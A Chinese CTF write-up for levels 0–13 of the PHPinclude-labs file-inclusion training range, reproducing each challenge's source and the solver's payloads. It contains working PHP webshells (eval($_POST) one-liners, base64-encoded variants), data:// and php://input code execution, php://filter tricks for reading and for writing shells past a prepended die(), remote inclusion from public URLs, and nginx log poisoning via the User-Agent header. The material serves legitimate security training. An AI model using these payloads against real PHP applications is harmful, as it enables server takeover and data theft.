当前位置: 首页 > news >正文

打靶日记-PHPinclude-labs(一)

前言

题目来自CTF+ | CTF学习与交流的综合平台。本文记录前13关。

PHPinclude-labs-level0

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 0 : include_base 体验关 --- 该关卡配置:allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On)
allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 backdoor.txt 内容为: <?php @eval($_POST['ctf']); ?>
- 根目录下 flag 文件,flag以文本的形式存储在文件中。flag{.....}——— 请注意理解文件包含的本质,这里的以文本形式存储不单指 /flag 是一个文本类型的文件(或者多数情况下为 flag.txt),在后续的题目中,这一点还说明该文件没有任何 php 语法特征。
你可以看到,这里相关文件虽然内容是 php 代码,但是由于是 .txt 的文本形式,当你直接访问时,服务器并不会去解析或者说执行它,而是会返回给你文本内容。
比如你可以先尝试直接访问 /DemoFlag.txt 再尝试?wrappers=DemoFlag.txt,你会发现前者服务器直接给你返回了文本内容,你能看见这个示例flag的内容,而后者反而看不到DemoFlag.txt的内容了。
更多细节请查阅:https://www.php.net/manual/zh/function.include.php
*/// 一种很炫技但是没用的写法嘿嘿 o(* ̄▽ ̄*)ゞ Try ?wrappers=phpinfo.txtisset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);?>

 这一关主要讲解了文件包含的本质。

?wrappers=/flag

PHPinclude-labs-level1

o(* ̄▽ ̄*)ゞ Now You are in /var/www/html
<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 1 : file协议の本家 --- 文件包含题目大多会涉及封装协议,靶场会讲解一些高频出现的协议,按照惯例我们会在每个关卡的头部文字讲解他们,当然你也可以自行在PHP手册中查询: 
【PHP手册 - 支持的协议和封装协议】https://www.php.net/manual/zh/wrappers.php本关卡你将只能使用 file 协议 — 访问本地文件系统(https://www.php.net/manual/zh/wrappers.file.php) 换个说法,每一个include函数调用行为都是以当前脚本所在目录为默认目录的file协议调用: include("filename") <=> include("file://" . __DIR__ . "/filename"); 
不过可惜的是,引入file协议后你只能使用绝对路径。其次,由于include函数的特性,你引入的文件如果内容符合php语法,那么他会被执行,这也就意味着我们无法通过file协议或者直接使用include方式去获取存储在变量中的flag。依赖:
allow_url_fopen:Off/On
allow_url_include :Off/On该关卡配置:allow_url_fopen=Off
allow_url_include=Off相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*///Try ?wrappers=/var/www/html/phpinfo.txt
//flag? why not ?wrappers=/var/www/html/flag.php (,,Ò‿Ó,,)isset($_GET['wrappers']) ? include("file://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>

第一关没有什么过滤,在这一关使用的是file协议,用于访问本地文件系统

当我们传参?wrappers=/var/www/html/flag.php并不能看到flag为因为该文件中的 flag 存储在静态变量中,include 后会作为 PHP 代码执行,但不会输出变量内容.

include()​函数会将目标文件的内容作为 PHP 代码解析并执行。当目标文件是纯文本(如/flag​)时,其内容会被直接输出,

?wrappers=/flag

PHPinclude-labs-level2

◝(*⁰▿⁰*)◜Hello-CTFww1 <?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 2 : data协议_1 --- 本关卡你将只能使用 data 协议 — (» RFC 2397) 数据流封装器(https://www.php.net/manual/zh/wrappers.data.php),更像是给了你另外一次输入机会(x如果传入的数据是PHP代码,就会执行代码:
data://text/plain,<?php phpinfo();?>
data://text/plain,<?php eval($_POST['helloctf']);?>data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+or data:text/plain依赖:
allow_url_fopen:On;
allow_url_include:On;
PHP_Version>=5.2.0该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try ?wrappers=,<?php phpinfo();?> */echo include("data://text/plain;base64,4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3");isset($_GET['wrappers']) ? include("data://text/plain".$_GET['wrappers']) : '';highlight_file(__FILE__);?>

 使用data伪协议来读取文件

构造payload

?wrappers=,<?php echo file_get_contents('/flag')?>,

或者读取 flag.php文件的内容

?wrappers=,<?php echo file_get_contents('flag.php')?>

答案在源码里

PHPinclude-labs-level3

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 3 : data协议_2 --- 有了一些过滤,但是这肯定难不倒聪明的你ww该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*/preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $_GET['wrappers']) ? '' : include("data://text/plain".$_GET['wrappers']);highlight_file(__FILE__);?>

这里有过滤,首先想到的就是base64绕过由于flag被过滤,用一句话木马,

?wrapppers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=

但是等号被过滤了,wp说明:

根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别。

所以payload:

?wrapppers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4

post :1=system('cat /flag');

PHPinclude-labs-level4

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 4 : http:// & https:// --- 本关卡你将只能使用 http/https 协议 (https://www.php.net/manual/zh/wrappers.http.php) — 常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
注意远程文件需要为可读的文本形式。依赖:allow_url_fopen:On;allow_url_include:On;该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 backdoor.txt 内容为: <?php @eval($_POST['ctf']); ?>
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try ?wrappers=127.0.0.1/hello.txt */isset($_GET['wrappers']) ? include("http://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>

远程文件包含,这里使用

https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI

​<?php @eval($_POST['a']); ?>​

包含后post a=system('cat /flag');

PHPinclude-labs-level5

这里先看看challenge.txt

<?php isset($_GET['Key'])&& 1==2 ? echo "<?= system('tac flag.???');?>" : die('Access Denied');?>

三目运算符,由于1==2恒为假,所以只会执行 die('Access Denied'),剩下的跟上一题一样,这一题有点水啊

PHPinclude-labs-level6

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 6 : php协议_Demo --- php:// — 访问各个输入/输出流(I/O streams),PHP中最为复杂和强大的协议(https://www.php.net/manual/zh/wrappers.php.php)。在CTF中经常使用的如下:
php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。 依赖:allow_url_include:Onphp://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,从而组成一个过滤链,常用于数据读取,在特殊情况下,利用特性还可以实现代码执行。无依赖,但在过滤链的代码执行中 php://temp 可能需要allow_url_include:On该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*/isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>

有两种方法一种是php://filter,一种是php://input,这里使用第一种

?wrappers=filter/convert.base64-encode/resource=flag.php.

当使用 php://filter/convert.base64-encode/resource=flag.php​ 时:
​php://filter​ 会先读取 flag.php​ 的原始源代码(而非执行后的结果),并通过 convert.base64-encode​ 过滤器将其编码为 base64 字符串。
此时 include()​ 接收到的是一段 base64 编码的字符串(非可执行的 PHP 代码),会直接将其输出到页面(因为无法作为 PHP 代码执行)。
我们拿到 base64 字符串后解码,就能得到 flag.php​ 的源代码,从而获取其中的 flag。

PHPinclude-labs-level7

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 7 : php协议_php://input --- php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。 依赖:allow_url_include:Onphp://input做为include的直接参数时,如题,php执行时会将post内容当作文件内容,要注意,php://input不支持post提交,其请求的参数格式是原生(Raw)的内容,无法使用hackbar提交,因为hackbar不支持raw方式  该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try Raw: <?php eval($_GET['ctf']); ?> */
/* Or <?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> */
/* Or <\?= system('tac flag.???');?> 记得去掉转义 */isset($_GET['wrappers']) ? include("php://input") : '';highlight_file(__FILE__);?>

这里题目给出解释php://input做为include的直接参数时,如题,php执行时会将post内容当作文件内容,要注意,php://input不支持post提交,其请求的参数格式是原生(Raw)的内容,无法使用hackbar提交,因为hackbar不支持raw方式

所以使用bp操作

wrappers可以是任意值。

?weappers=1

然后抓包,修改请求方法。注意保留 URL 后的 ?wrappers=1

PHPinclude-labs-level8

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 8 : php协议_php://filter_过滤器&字符串过滤器 --- php://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,从而组成一个过滤链,常用于数据读取,在特殊情况下,利用特性还可以实现代码执行。无依赖,但在过滤链的代码执行中 php://temp 可能需要allow_url_include:On依赖:
allow_url_fopen:Off/On
allow_url_include :Off/On其参数如下:
resource=<要过滤的数据流>    这个参数是必须的。它指定了你要筛选过滤的数据流。 resource=flag.php
read=<读链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 php://filter/read=A|B|C/resource=flag.php
write=<写链的筛选列表>    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 php://filter/write=A|B|C/resource=flag.php
<;两个链的筛选列表>    任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 php://filter/A|B|C/resource=flag.php【过滤器列表】https://www.php.net/manual/zh/filters.php【字符串过滤器】https://www.php.net/manual/zh/filters.string.php 
php://filter/A|B|C/resource=sayhello.txt
string.rot13 rot13变换
string.toupper 转大写字母
string.tolower 转小写字母
string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)该关卡配置:
allow_url_fopen:Off
allow_url_include:Off相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try ?wrappers=filter/string.rot13/resource=sayhello.txt */
/* 单纯的字符串过滤器解决不了php文件哦~ Try ?wrappers=filter/string.rot13/resource=flag.php */isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>

payload

?wrappers=filter/string.rot13/resource=/flag

或者使用

?wrappers=filter/resource=/flag

允许省略 read= 或 write= 参数,此时过滤器会默认对数据执行 "读取" 操作,而flag文件是文本文件所以可以直接读取。

同时可以使用

?wrappers=filter/read=convert.base64-encode/resource=flag.php

将flag.php以base64编码形式显示出来。

PHPinclude-labs-level9

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 9 : php协议_php://filter_转换过滤器 --- 依赖:
allow_url_fopen:Off/On
allow_url_include:Off/On【转换过滤器】https://www.php.net/manual/zh/filters.convert.php
- convert.base64-encode 和 convert.base64-decode
- convert.quoted-printable-encode 和 convert.quoted-printable-decode
- convert.iconv.*相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。*//* base64的转换滤器就能很好的解决php文件了x~ Try ?wrappers=filter/convert.base64-encode/resource=flag.php */isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>

 ?wrappers=filter/convert.base64-encode/resource=flag.php

PHPinclude-labs-level10

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 10 : 文件系统函数_file_get_contents() --- 我们常见的文件包含题目的大多数考点主要集中在类似 include() 函数(这里的类似强调的是 incdlue、require、include_once、require_once)的调用上,除开直接的文本包含,更多还涉及到了一些封装协议(wrappers)的使用,比如 file 协议、data 协议、php 协议等等,早在我们之前提及该部分对应文档 【支持的协议和封装协议】https://www.php.net/manual/zh/wrappers.php 时,其中的这样一句话就有强调 “PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。”这些函数的特定 —— 【文件系统·文件系统函数】https://www.php.net/manual/zh/book.filesystem.php。所以在文件包含的题目中,除了include类型函数,其他文件系统函数也可以用来考察协议方面的内容,比如 file_put_contents(), file_get_contents(), file(), readfile() .etc该关卡使用的是 file_get_contents() 函数(https://www.php.net/manual/zh/function.file-get-contents.php) 他会将整个文件读入一个字符串,同样的他支持封装协议(wrappers)的使用。该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* 我觉得你的基础做这一关肯定没问题ww */function hello_ctf($file){$file = file_get_contents($file);if(preg_match("/flag/", $file)){die("You CANNOT See The Secret Message!");}else{var_dump($file);}
}isset($_GET['file']) ? hello_ctf($_GET['file']) : '';highlight_file(__FILE__);?>

由于过滤了flag所以使用base64编码绕过

?file=php://filter/convert.base64-encode/resource=/flag

PHPinclude-labs-level11

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 11 : 文件系统函数_file_put_contents() --- 该关卡使用的是 file_put_contents() 函数(https://www.php.net/manual/zh/function.file-put-contents.php) 这将对应过滤器中的Write方法,用于将数据写入文件。该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* hint:(need allow_url_fopen=On)如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。(https://www.php.net/manual/zh/function.fopen.php) */function hello_ctf($filename,$data){if(preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $data)){die("WAF!");}file_put_contents($filename,$data);
}isset($_GET['filename'])&&isset($_POST['data']) ? hello_ctf($_GET['filename'],$_POST['data']) : '';highlight_file(__FILE__);?>

先说一下file_put_content函数

file_put_contents() 是 PHP 中用于将数据写入文件的便捷函数,它整合了打开文件、写入数据和关闭文件的操作

常用

file_put_contents(文件路径,内容);

当文件内容,与文件路径都可控式就可以写入shell,在这一题过滤了flag与其他符号,还是用base64编码绕过

filename=php://filter/write=convert.base64-decode/resource=shell.php

data=PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4

这里原本是PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4(<?php eval($_POST['1']);?>)由于题目过滤了=。最后把=删了。

(以下内容由ai给出,如有错误请指出)

上面说到filename是文件路径,在这里文件路径并不是php://filter/write=convert.base64-decode/resource=shell.php并不是传统意义上的 “文件路径”,而是 PHP 中一种特殊的协议路径(属于封装协议的语法格式)。通过过滤器协议,将处理后的数据写入到 shell.php 文件”

当 file_put_contents() 等函数遇到 php:// 开头的路径时,会调用 PHP 内部的协议处理器(而非直接操作文件系统)。处理器会按协议参数的规则对数据进行处理,再将结果写入到 resource 指定的物理文件中。

所以我们就成功把一句话木马写入来shelll.php文件

然后执行1=system('cat /flag');

PHPinclude-labs-level11plus

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 11+ : 文件系统函数_file_put_contents()_死亡绕过 --- 经典 —— 死亡绕过该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* hint:(need allow_url_fopen=On)如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。(https://www.php.net/manual/zh/function.fopen.php) */function hello_ctf($filename,$data){if(preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $data)){die("WAF!");}file_put_contents($filename, "<?php die('GAME OVER!') ?>".$data);
}isset($_GET['filename'])&&isset($_POST['data']) ? hello_ctf($_GET['filename'],$_POST['data']) : '';highlight_file(__FILE__);?>

exit绕过这个知识点以前学过,常见的有3中解法

1.base64

在这这一题是"<?php die('GAME OVER!') ?>",填充两个字符后成功破环

filename=php://filter/write=convert.base64-decode/resource=shell.php

data=aaPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4

2.rot13编码

ROT13 编码:一种简单的字符替换规则,将每个字母替换为字母表中其后第 13 位的字母(A↔N、B↔O...M↔Z,小写字母同理),非字母字符不变。

执行两次rot13相当于解码

filename=php://filter/write=string.rot13/resource=shell.php

data=<?cuc riny($_CBFG['1']);?>

此时shell.php的内容为

<?cuc qvr('TNZR BIRE!') ?><?php eval($_POST['1']);?>

在PHP不开启short_open_tag时,php不认识这个字符串<?cuc qvr('TNZR BIRE!') ?>,当然也就不会执行了

由于题目还过滤了符号,所以这种方法在这一题行不通

3.过滤器嵌套绕过

filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4

php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原

string.strip_tags​再PHP7.3.0以上的环境下会发生错误,从而导致无法写入,但是在PHP5的环境下不受此影响

经过测试第1 3 种方法在本题可用。

PHPinclude-labs-level12

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 12 : LFI&&RFI --- LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。
本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。
try ?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFIRFI-  Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 远程链接(受中国大陆地区网络原因,该远程地址可能失效) https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI 中存有文本类型的一句话木马 <?php @eval($_POST['a']); ?>
- 远程链接(受不可预料的监管影响,该远程地址可能失效) https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI 中存有文本类型的一句话木马 <?php @eval($_POST['a']); ?>*//* hint:(need allow_url_fopen=On)如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。(https://www.php.net/manual/zh/function.fopen.php) */include('https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI');highlight_file(__FILE__);?>

这一关重在知识点介绍,已经包含了文件

a=sytem('cat /flag');

PHPinclude-labs-level13

<?php 
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-28 20:30
# @Repo:   github.com/ProbiusOfficial/PHPinclude-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 13 : LFI_日志文件包含_Nginx --- 在wrappers被过滤的情况下,通常使用日志文件包含的方式来绕过,由于文件包含漏洞最大的需求点是文件,所以我们需要得知日志文件的位置,通常情况下包含默认位置即可。
该关卡的Dockerfile对于日志的配置为:VOLUME ["/var/log/nginx"]+ /var/log/nginx/         - 默认Nginx日志目录
+ + /var/log/nginx/access.log该关卡配置:
allow_url_fopen:On
allow_url_include:Off相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*/function hello_ctf($file){if(preg_match("/file|http|ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect/i", $file)){die("No Wrappers!");}include($file);
}isset($_GET['file']) ? hello_ctf($_GET['file']) : '';highlight_file(__FILE__);?>

?file=/var/log/nginx/access.log然后bp抓包,在user-agent头注入一句话木马<?php eval($_POST['a']);?>。蚁剑连接就行。

http://www.lryc.cn/news/613339.html

相关文章:

  • CS231n2017 Lecture14 强化学习笔记
  • 【MySQL基础篇】:MySQL事务并发控制原理-MVCC机制解析
  • 安卓开发:网络状态监听封装的奥秘
  • 力扣 hot100 Day68
  • 关于vue2中对接海康摄像头以及直播流rtsp或rtmp,后台ffmpeg转码后通过ws实现
  • ADC、Flash、SPI、watchdog
  • Linux 磁盘中的文件
  • 多线程问题,子线程同时操作全局变量,使用后需要清空吗 ?
  • 容器之王--部署Docker私有仓库harbor母盘步骤演练
  • 小米前端笔试和面试
  • AI日报0807 | GPT-5或今晚1点来袭:四大版本全曝光
  • 使用Ollama本地部署DeepSeek、GPT等大模型
  • 13-netty基础-手写rpc-消费方生成代理-05
  • 车辆特征与车牌识别准确率↑29%:陌讯多模态融合算法实战解析
  • [spring-cloud: 动态刷新]-源码分析
  • 基于MATLAB实现支持向量机(SVM)分类
  • android 之 Kotlin中Handler的使用
  • 栅栏密码的加密解密原理
  • zookeeper因jute.maxbuffer启动异常问题排查处理
  • 使用 decimal 包解决 go float 浮点数运算失真
  • 可执行文件的生成与加载执行
  • Linux的进程间通信
  • 嵌入式学习硬件(一)ARM体系架构
  • 简单手写Transformer:原理与代码详解
  • Java中的反射机制
  • 土壤盐分传感器与土壤电导率传感器直接的关系
  • 深入理解String类:揭秘Java字符串常量池的优化机制
  • 【2025最新版】火狐浏览器(官方版)安装-附教程
  • 飞算JavaAI深度解析:Java开发者的智能革命
  • AUTOSAR进阶图解==>AUTOSAR_EXP_BSWDistributionGuide